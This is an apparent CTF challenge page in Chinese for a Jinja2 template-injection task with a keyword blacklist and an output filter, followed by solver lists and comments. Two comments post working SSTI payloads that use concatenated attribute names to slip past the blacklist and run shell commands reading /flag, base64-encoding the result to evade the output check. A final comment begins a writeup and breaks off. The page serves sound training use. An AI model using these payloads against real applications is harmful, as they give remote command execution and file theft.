Template MasterWEB 未解决
分数:
30
金币:
4
题目作者:
zhang
一 血:
dlgz
一血奖励:
4金币
解 决:
26
提 示:
描 述:
我们做了一个"个性化问候语生成器"：输入你的名字，它就会为你生成一条问候语。
网站管理员很谨慎：他给输入加了一份关键字黑名单，把
__class__、os、popen、.等"危险字符"全过滤了；又给输出加了一道检查，不许页面里出现敏感内容。他声称这样就不可能被利用了。真的吗？请想办法拿到服务器上
/flag文件里的 flag。
评分(1)
解题动态
ke1th 攻破了该题 1天前
世界你好 攻破了该题 2天前
b3fore 攻破了该题 2天前
布蕾脆脆奶芙 攻破了该题 3天前
能工智人 攻破了该题 5天前
小楼一夜听春雨 攻破了该题 5天前
lzq2000 攻破了该题 9天前
s19n@l 攻破了该题 9天前
CTF-大王 攻破了该题 14天前
hdcc1 攻破了该题 16天前
rjjjj 攻破了该题 18天前
风花雪月 攻破了该题 18天前
xmai001 攻破了该题 19天前
Vluae 攻破了该题 20天前
星宇Sec 攻破了该题 21天前
阿狸沙堤 攻破了该题 22天前
加州故事 攻破了该题 22天前
兰小方 攻破了该题 22天前
shylock 攻破了该题 22天前
评论
zhang 17天前
举报
给个五星评价吧
Vluae 20天前
举报
{{''['__'+'class'+'__']['__base__']['__subcl'+'asses__']()[-1]('cat /fl'+'ag|base64',shell=True,stdout=-1)['communicate']()[0]['decode']()}}
Vluae 20天前
举报
{{lipsum['_'+'_'+'globals'+'_'+'_']['o'+'s']['po'+'pen']('cat /fl'+'ag|base64')['re'+'ad']()}}
zhang 21天前
举报
嘤嘤嘤
加州故事 22天前
举报
这是一道 Jinja2 SSTI 题，name POST 参数直接进模板（{{7*7}} → 49）。管理员设了两道防线，逐个绕过：